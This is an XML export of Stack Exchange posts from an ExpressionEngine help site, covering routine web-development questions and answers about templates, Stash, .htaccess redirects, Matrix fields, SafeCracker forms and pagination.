  <row Id="6923" PostTypeId="1" AcceptedAnswerId="6927" CreationDate="2013-03-01T21:33:13.830" Score="1" ViewCount="497" Body="&lt;p&gt;I've got a template with PHP enabled and set to &lt;code&gt;On Output&lt;/code&gt;, and &lt;em&gt;any PHP at all&lt;/em&gt; is getting commented and printed, without being processed, in the HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;.header&quot;}&#xA;&#xA;{exp:stash:set name=&quot;some_value&quot; parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}{if 'something' == 'somethingelse'}y{/if}{/exp:stash:set}&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;?php echo 'foo'; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{embed=&quot;.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Oh the Confusion&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;!--&amp;lt;?php echo 'foo'; ?&amp;gt;--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other templates use Stash and conditionals, many use PHP, and this is the only one that combines both Stash (parsing conditionals) and embedded PHP. Caching is not an issue here. This looks like a friendly, intentional thing since the PHP obviously isn't plainly visible to the viewer, but why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.5.5 with a bajillion addons that I can list if it's helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: I've simplified my question after figuring out how to ask it better with the help of Lisa Wess. This one seems brief and cheeky because I'll be answering it myself for posterity.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-03-02T02:08:36.307" LastActivityDate="2013-03-02T02:08:36.307" Title="PHP not processed when Stash parses conditionals in the same template" Tags="|templates|stash|php|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="6924" PostTypeId="2" ParentId="6878" CreationDate="2013-03-01T21:57:52.320" Score="1" Body="&lt;p&gt;Thanks for adding your .htaccess, Nuno.  Shouldn't be a problem there.  Can you try adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your /system/expressionengine/config/config.php file? Please let me know if that clears up this issue for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please make sure that you've &quot;Updated Indexes&quot; in Assets.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-01T21:57:52.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6925" PostTypeId="2" ParentId="6874" CreationDate="2013-03-01T22:27:24.423" Score="1" Body="&lt;p&gt;I thought I'd seen this somewhere!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In /system/expressionengine/libraries/EE_Typography.php at around line 142 there are a couple of arrays for &quot;safe&quot; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure if they appear anywhere else but it's worth having a look there and testing it out.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-01T22:27:24.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6926" PostTypeId="2" ParentId="6919" CreationDate="2013-03-02T00:00:20.717" Score="1" Body="&lt;p&gt;Yes, Anna is right. The view file is &quot;/expressionengine/views/members/register.php&quot;. Also, an extension can be developed with the hook cp_js_end by having necessary JQuery code. &lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-03-02T12:11:07.823" LastActivityDate="2013-03-02T12:11:07.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6927" PostTypeId="2" ParentId="6923" CreationDate="2013-03-02T02:06:47.430" Score="2" Body="&lt;p&gt;&lt;strong&gt;You'll need to turn your PHP into a plugin or embed it in a sub-template.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have saved yourself a lot of time if you'd noticed that Mark Croxton himself &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/7166#25166&quot; rel=&quot;nofollow&quot;&gt;pointed out that Stash doesn't parse PHP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-03-02T02:06:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6928" PostTypeId="2" ParentId="6907" CreationDate="2013-03-02T06:53:04.123" Score="3" Body="&lt;p&gt;I see this has already been answered, but there is a jQuery option that might be better for you. At least it won't matter how many categories there are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.selector:nth-child(3n)').after($('&amp;lt;div /&amp;gt;').addClass('clearfix'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will select every 3rd element that matches &lt;code&gt;.selector&lt;/code&gt; and insert &lt;code&gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; after it.&lt;/p&gt;&#xA;" OwnerUserId="1004" LastActivityDate="2013-03-02T06:53:04.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6929" PostTypeId="2" ParentId="6919" CreationDate="2013-03-02T06:59:32.223" Score="1" Body="&lt;p&gt;I personally hack the view as needed if needed. Not ideal but you gotta do what you gotta do.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-02T21:10:40.903" LastActivityDate="2013-03-02T21:10:40.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6930" PostTypeId="2" ParentId="6906" CreationDate="2013-03-02T12:26:58.997" Score="1" Body="&lt;p&gt;I think, you should run queries via Transactions. You can find the doc from CodeIgnitor's user guide &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/transactions.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/database/transactions.html&lt;/a&gt; and it also works within EE.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-02T12:26:58.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6931" PostTypeId="1" CreationDate="2013-03-02T14:29:01.133" Score="1" ViewCount="181" Body="&lt;p&gt;Im using Freeform to submit a form which adds the sender automatically to a mailing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if it is possible to add &quot;name&quot; to a mailing list? One would have though this should be a built-in feature be alas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kippi&lt;/p&gt;&#xA;" OwnerUserId="249" LastActivityDate="2013-03-02T16:43:30.993" Title="Add &quot;name&quot; to mailing list" Tags="|email|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6932" PostTypeId="2" ParentId="6777" CreationDate="2013-03-02T14:50:10.887" Score="1" Body="&lt;p&gt;In the past I've always used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Catch any Google campaigns directed to the home page&#xA;RewriteCond %{REQUEST_URI} ^/$&#xA;RewriteCond %{QUERY_STRING} ^(utm_.*)&#xA;RewriteRule ^(.*)$ /index.php/ [L,PT]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-03-02T14:50:10.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostTypeId="1" CreationDate="2013-03-02T15:41:35.077" Score="2" ViewCount="1701" Body="&lt;p&gt;htaccess :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;    # Remove www.&#xA;    RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;    RewriteRule ^(.*)$ http://%1/$1 [L,R=301]&#xA;&#xA;    RedirectMatch 301 /page_1 http://domain.com/segment_1/page_1&#xA;    RedirectMatch 301 /page_2 http://domain.com/segment_1/page_2&#xA;    RedirectMatch 301 /segment_1/page_x http://domain.com/segment_1/segment_2/page_x&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last redirect works but the first two don't. (Error infinite loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has an idea why?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-04-05T21:04:35.230" Title=".htaccess redirect loop error" Tags="|htaccess|redirects|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6934" PostTypeId="2" ParentId="6931" CreationDate="2013-03-02T16:43:30.993" Score="4" Body="&lt;p&gt;No there isn't. The internal mailing list just handles email addresses. It's not meant to be a full Email Management System, just a method for you to provide general communications via ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine integrates well with numerous other Email Management Solutions (EMS). You can use &lt;em&gt;MailChimp, Campaign Monitor, Emma, Constant Contact&lt;/em&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=MailChimp&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;MailChimp&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/search/results?keywords=Campaign%20Monitor&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;Campaign Monitor&lt;/a&gt; have add-ons that allow extended integration, but generally speaking as long as the EMS provides javascript embed forms, you can use any solution you like. Using a full fledge EMS provides a lot more benefits, since you can allow segmentation, auto responders, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE's &lt;strong&gt;Mailing List Module&lt;/strong&gt; doesn't really allow for list segmentation. You can create multiple lists, so people could sign-up to receive say 'event notices' vs 'general announcements', but it can be hard enough to get someone to sign-up for one mailing let alone two or three.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-02T16:43:30.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostTypeId="1" CreationDate="2013-03-02T19:00:15.487" Score="2" ViewCount="485" Body="&lt;p&gt;Ive got a jquery tabbed area, with each tab showing image and text. Id like the user to be able to click on an image being displayed in a tab (a matrix row) and launch a larger overlay version. I am having trouble being able to call up just a single image from a particular row. (The tabbed area is generated using the matrix fieldtype for rows to create the tabs, in the admin CP form.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how to use limit and offset etc, but cannot work out how to control which image is seen, ie I need some sort of '{current_row}' - which doesnt exist! Ive tried {field_row_count} and {row_count} and tried using conditionals, but nothing works. Has anyone done this already?&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2013-03-04T17:12:02.077" Title="Selecting a current row in a Matrix field of multiple rows" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6936" PostTypeId="2" ParentId="6935" CreationDate="2013-03-02T19:34:05.823" Score="1" Body="&lt;p&gt;Matrix has a &lt;code&gt;{row_id}&lt;/code&gt; variable which will output a unique ID for you, eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;&amp;lt;div id=&quot;{row_id}&quot;&amp;gt;{matrix_field_name} {matrix_field_image}&amp;lt;/div&amp;gt;&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would output something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;1&quot;&amp;gt;Eggs eggs.png&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;2&quot;&amp;gt;bacon bacon.png&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;3&quot;&amp;gt;Cheese cheese.png&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-02T19:34:05.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6937" PostTypeId="1" CreationDate="2013-03-02T23:01:01.737" Score="3" ViewCount="377" Body="&lt;p&gt;I have a P&amp;amp;T Dropdown that has a default value of &quot; : Select one...&quot; and once you select and submit any other option than that default... there seems to be no way to reset that fields value back to the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider I have Field#1 &quot;Are you Coming?&quot; and the another Field#2 &quot;What you eating?&quot;.&#xA;When I use selects Field#1=Yes then they get to submit field#2 as &quot;Fish&quot;.&#xA;However, they may later come back and resubmit as Field#1=No in which case I reset Field#2 (via JS) to &quot; : Select one...&quot; and set it to &quot;disabled&quot; and submit. This however does not reset the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://screencast.com/t/DbLPyUx1WpL&quot; rel=&quot;nofollow&quot;&gt;Figure 1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1096" LastActivityDate="2013-04-02T22:26:55.883" Title="Getting P&amp;T Dropdown to submit a null/default/empty value?" Tags="|ee2|module|pixelandtonic|drop-down|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6938" PostTypeId="2" ParentId="6875" CreationDate="2013-03-02T23:08:57.130" Score="0" Body="&lt;p&gt;I realized that with CE Cache it's going to need an extra condition in the .htaccess, to avoid using a cache of the requested data. No time to do it right now, but considering how to rescue a contact form that is getting rejected when not logged in as super admin, because the security code is fixed, not correct. Looks right, but isn't. Cheers, Anna.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-03-02T23:08:57.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6939" PostTypeId="1" CreationDate="2013-03-03T10:38:50.203" Score="3" ViewCount="199" Body="&lt;p&gt;I want to show or hide the status option based on the current status in a safecracker form. This because i want that people can edit statuses form entries which are open or closed, but not the one who are denied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far no success because safecracker doesn't like the IF statement, i think i can do it with jquery but is there a good EE solution to get the result i want?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;     channel=&quot;nieuws&quot; &#xA;     return=&quot;profiel/nieuws&quot; &#xA;     entry_id={segment_3}&quot;&#xA;     author_only=&quot;yes&quot; &#xA;     error_handling=&quot;inline&quot; &#xA;     status=&quot;open|closed|denied&quot;}&#xA;&#xA;{if status==&quot;denied&quot;}&#xA;    Can't change the status&#xA;{if:else}&#xA;    &amp;lt;label for=&quot;status&quot;&amp;gt;Status&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;status&quot; id=&quot;status&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;open&quot;&amp;gt;Open&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;closed&quot;&amp;gt;Closed&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="656" LastActivityDate="2013-04-03T01:04:27.683" Title="Use if status safecracker" Tags="|safecracker|status|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6940" PostTypeId="2" ParentId="6870" CreationDate="2013-03-03T16:04:04.787" Score="1" Body="&lt;p&gt;It's certainly possible, but you would have to write your own API (in the form of an ExpressionEngine module) for their main system to access. EE doesn't have any built in web API to do this sort of thing (unless you already have access to the database directly, which might be easier).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-03T16:04:04.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6941" PostTypeId="2" ParentId="6939" CreationDate="2013-03-03T18:02:07.840" Score="0" Body="&lt;p&gt;Try this instead;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{status}&quot; ==&quot;denied&quot;}&#xA;    Can't change the status&#xA;{if:else}&#xA;    &amp;lt;label for=&quot;status&quot;&amp;gt;Status&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;status&quot; id=&quot;status&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;open&quot;&amp;gt;Open&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;closed&quot;&amp;gt;Closed&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-04T00:45:03.830" LastActivityDate="2013-03-04T00:45:03.830" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6942" PostTypeId="2" ParentId="6939" CreationDate="2013-03-03T18:07:03.430" Score="1" Body="&lt;p&gt;You can try what Anna suggested. While editing an entry via Safecraker, its populate all the variables of channel entries within safecraker tag so {status} variable also be populated as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, while looking at your code it seems that you are missing opening double quote while passing parameter entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-03T18:07:03.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6943" PostTypeId="2" ParentId="6937" CreationDate="2013-03-03T18:14:07.027" Score="0" Body="&lt;p&gt;Can you share how you had setup the P&amp;amp;T Dropdown field's options while creating this field type. Usually we have setting like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option1 : value1&#xA;option2 : value2&#xA;....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are having all option : value pairs, all the options should be in same format i.e option&amp;amp;value be separated with colon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if you are not having the default option in same format as other 2 options.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-03T18:14:07.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6944" PostTypeId="1" AcceptedAnswerId="6972" CreationDate="2013-03-03T19:46:45.240" Score="1" ViewCount="139" Body="&lt;p&gt;I have confused myself slightly setting up the return path for my safecracker login form for the following site [Click here for link][1] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;if you scroll down to the roster section click mel debarge, in the the pop up you will notice a download section, when you click on the press kit button you are redirected to the login page.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When user enter the correct login detail they are able to access a PDF/JPEG which i have uploaded in the Matrix i have set up. The parameters for the matrix are the following &lt;code&gt;{press_material}{press_pdf}{press_material}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the entry properties for my login form i have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;channel=&quot;roster&quot;&#xA;    dynamic_title=&quot;[member_first_name] [member_last_name]&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    group_id=&quot;5&quot;&#xA;    loggin_member=&quot;yes&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    return=&quot;{path='{press_material}{press_pdf}{/press_material}/{url_title}'}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In aim to redirect registered users to the file uploaded in the matrix, However i don't seem to be having any joy. Does anyone know how i can resolve this issue??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do i need to use the embed proporties in order for this to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]: &lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-03-04T18:15:44.413" LastActivityDate="2013-03-04T18:15:44.413" Title="Safecracker Registration Return path url issue" Tags="|templates|safecracker|members|matrix|safecracker-registration|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostTypeId="2" ParentId="6914" CreationDate="2013-03-03T19:58:52.770" Score="0" Body="&lt;p&gt;I contacted DevDemon and the answer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to copy the english folder to a folder called spanish, then change&#xA;all the text in the file to Spanish. &lt;/p&gt;&#xA;" OwnerUserId="295" LastActivityDate="2013-03-03T19:58:52.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6946" PostTypeId="2" ParentId="3500" CreationDate="2013-03-03T22:08:33.523" Score="2" Body="&lt;p&gt;For me, temporarily renaming my system/expressionengine/third_party folder until the upgrade completed and then renaming it back worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly enough, the update script had updated the app_version variable in config.php to 254 before it failed (I was upgrading from 2.5.3).  Not sure if that helps anyone figure out where in the process it's failing, but I wonder if there's anything that the 254/255 part of the update which touches the third_party folder that's causing the failure.&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2013-03-03T22:08:33.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostTypeId="2" ParentId="6933" CreationDate="2013-03-03T22:25:57.623" Score="0" Body="&lt;p&gt;I normally serve my redirects before my removal of index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example I know to work &lt;a href=&quot;http://d.pr/n/1rQO&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/n/1rQO&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-03T22:25:57.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6948" PostTypeId="1" AcceptedAnswerId="6950" CreationDate="2013-03-03T23:49:55.810" Score="1" ViewCount="172" Body="&lt;p&gt;Entry pagination is a pretty simple thing except with tables. Whenever I do pagination on table data it only displays at the top. Is there a way to get it to show up at the bottom?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table id=&quot;vip&quot;&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;State&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;CC&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Posiition&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Address&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Phone&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;email&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;{exp:user:users orderby=&quot;stake&quot; sort=&quot;asc&quot; group_id=&quot;9|12&quot; limit=&quot;50&quot; paginate=&quot;top&quot;}&#xA;&amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{state}&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{council}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{screen_name}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{occupation}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{location}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{phone}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;mailto:{email}&quot;&amp;gt;{email}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{paginate}&#xA;&amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} page(s)  {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:user:users}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do paginate=&quot;both&quot;, I get two pagination links at the top. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-03-04T00:47:23.017" Title="Is there a way to have pagination show up at the bottom of a table?" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6949" PostTypeId="2" ParentId="6948" CreationDate="2013-03-04T00:47:04.497" Score="1" Body="&lt;p&gt;Try this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users orderby=&quot;stake&quot; sort=&quot;asc&quot; group_id=&quot;9|12&quot; limit=&quot;50&quot; paginate=&quot;bottom&quot;}&#xA;{if count == 1}&#xA;&amp;lt;table id=&quot;vip&quot;&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;State&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;CC&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Posiition&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Address&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;Phone&amp;lt;/th&amp;gt;&#xA;&amp;lt;th scope=&quot;col&quot;&amp;gt;email&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;td&amp;gt;&amp;lt;strong&amp;gt;{state}&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{council}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{screen_name}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{occupation}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{location}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{phone}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;mailto:{email}&quot;&amp;gt;{email}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;{if count == total_results}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&#xA;{paginate}&#xA;&amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} page(s)  {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-03-04T00:47:04.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6950" PostTypeId="2" ParentId="6948" CreationDate="2013-03-04T00:47:23.017" Score="1" Body="&lt;p&gt;Try using table tags in your pagination code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;7&quot;&amp;gt;&amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} page(s)  {pagination_links}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T00:47:23.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
